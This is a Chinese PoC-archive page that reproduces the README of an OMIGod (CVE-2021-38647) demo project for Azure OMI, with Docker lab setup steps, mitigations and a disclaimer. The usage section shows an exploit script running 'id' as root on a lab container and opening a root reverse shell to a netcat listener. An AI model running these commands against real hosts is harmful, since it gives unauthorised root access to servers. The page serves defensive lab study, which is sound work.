POC详情: 7d3ba72104af588dd92a7748932c3e23f6792266

来源
关联漏洞
标题: Microsoft Azure 授权问题漏洞 (CVE-2021-38647)
描述:Microsoft Azure是美国微软(Microsoft)公司的一套开放的企业级云计算平台。 Microsoft Azure Open Management Infrastructure存在授权问题漏洞。以下产品和版本受到影响:Azure Open Management Infrastructure <omi-1.6.8-1。
描述
OMIGod / CVE-2021-38647 POC and Demo environment
介绍
# Details
## OMIGod - CVE-2021-38647
Open Management Infrastructure (OMI, formerly known as NanoWBEM) is an open source Common Interface Model (CMI) management server by Microsoft and The Open Group. OMI is a software agent found on most of Azure's Linux VMs, yet many do not know of it's presence.

On September 14th the Wiz Research Team published an article detailing four vulnerabilities in OMI. The vulnerabilities are described as easy to exploit, and can allow attackers arbitrary remote code execution and escalation to root with a single request.

### Details of CVE-2021-38647
CVE-2021-38647 is an unauthenticated RCE vulnerability exploited by sending a crafted HTTP request. CVE-2021-38647 allows an attacker to run commands as the user of the OMI agent, normally root.

OMI agents are widely used on Azure Linux servers when these services are in use:
* Azure Automation
* Azure Automatic Update
* Azure Operations Management Suite
* Azure Log Analytics
* Azure Configuration Management
* Azure Diagnostics

According to Microsoft most Azure services that use OMI deploy it **without** exposing the HTTP/S port.

## Goal of this project
The goal of this project is to create a demo environment in a easily replicable way so that Blue teams more easily can find IoC's. To accomplish this goal I create a custom docker image set up with the vulnerable version of OMI.

# Usage
Depending on your setup, this might require sudo.
```bash
# Building the docker container
docker build . -t omi-god

# Running it
docker run --name=omi-god -it omi-god
```
You will now have a the root terminal up for the docker container. You should get the ip address of the docker container, which can be done with the command:
```bash
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard

# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
```

When this is set up, you can try to run any PoCs. To run the one in this project, run the following commands:
```bash
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id 
 -> uid=0(root) gid=0(root) groups=0(root)

# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444 
```

# Credits
IppSec's video regarding this exploit and setting up a similar environment - https://www.youtube.com/watch?v=TXqi1BKtcyM
The environment set up in this project is based on IppSec's video.

horizon3ai PoC - https://github.com/horizon3ai/CVE-2021-38647
The PoC in this project is based on horizon3ai's PoC.

For more details see the original researchers' work: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

# Affected versions
All OMI versions below v1.6.8-1 are vulnerable.

# Mitigations
There has been published a patched version that fixed this exploit. Update and ensure the version is 1.6.8.1 or above.

# Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
文件快照

[4.0K] /data/pocs/7d3ba72104af588dd92a7748932c3e23f6792266 ├── [1.1K] Dockerfile ├── [3.6K] omigod.py └── [3.2K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。